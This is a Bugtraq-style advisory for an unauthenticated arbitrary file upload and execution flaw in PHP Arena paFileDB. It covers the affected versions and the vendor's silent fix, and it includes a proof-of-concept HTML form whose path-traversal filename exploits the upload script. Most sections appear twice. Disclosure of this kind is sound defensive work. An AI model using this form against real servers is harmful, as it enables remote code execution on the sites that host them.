PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability
BID:8271
Info
PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability
| Bugtraq ID: | 8271 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 24 2003 12:00AM |
| Updated: | Jul 24 2003 12:00AM |
| Credit: | Reported by Martin Eiszner <[email protected]>. |
| Vulnerable: |
PHP Arena paFileDB 3.1 PHP Arena paFileDB 3.0 Beta 3.1 PHP Arena paFileDB 3.0 PHP Arena paFileDB 2.1.1 PHP Arena paFileDB 1.1.3 |
| Not Vulnerable: | |
Discussion
PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability
It has been reported that a script contained in paFileDB does not properly verify user credentials before accepting files for upload. As a result, remote attackers may be able to upload files to the Web server. After a file has been uploaded, it may be possible for the attacker to execute the file remotely.
It has been reported that a script contained in paFileDB does not properly verify user credentials before accepting files for upload. As a result, remote attackers may be able to upload files to the Web server. After a file has been uploaded, it may be possible for the attacker to execute the file remotely.
Exploit / POC
PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability
The following example has been provided:
<html><body>
<form ENCTYPE="multipart/form-data" method="POST" action="http://srv/pafiledb/includes/team/file.php">
<input name="userfile" TYPE="file"><br>
<input name="userfile_name" TYPE="text" value="../../../uploads/makeawish"><br>
<input type="hidden" name="action" value="team">
<input type="hidden" name="tm" value="file">
<input type="hidden" name="file" value="upload">
<input type="hidden" name="upload" value="do">
<input type=submit name=submit value="doit">
</form>
</body></html>
The following example has been provided:
<html><body>
<form ENCTYPE="multipart/form-data" method="POST" action="http://srv/pafiledb/includes/team/file.php">
<input name="userfile" TYPE="file"><br>
<input name="userfile_name" TYPE="text" value="../../../uploads/makeawish"><br>
<input type="hidden" name="action" value="team">
<input type="hidden" name="tm" value="file">
<input type="hidden" name="file" value="upload">
<input type="hidden" name="upload" value="do">
<input type=submit name=submit value="doit">
</form>
</body></html>
Solution / Fix
PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability
Solution:
The vendor has released an updated version of paFileDB to correct this issue. Please note, the vendor has intentionally not incremented the version number. This was done to prevent attackers from easily identifying unpatched systems. This has been fixed in a second release of paFileDB version 3.1.
PHP Arena paFileDB 3.1
Solution:
The vendor has released an updated version of paFileDB to correct this issue. Please note, the vendor has intentionally not incremented the version number. This was done to prevent attackers from easily identifying unpatched systems. This has been fixed in a second release of paFileDB version 3.1.
PHP Arena paFileDB 3.1
-
PHP Arena paFileDB Version 3.1
http://www.phparena.net/downloads/pafiledb.php?action=file&id=16
References
PHP Arena paFileDB Arbitrary File Upload And Execution Vulnerability
References:
References:
- paFileDB Homepage (PHP Arena)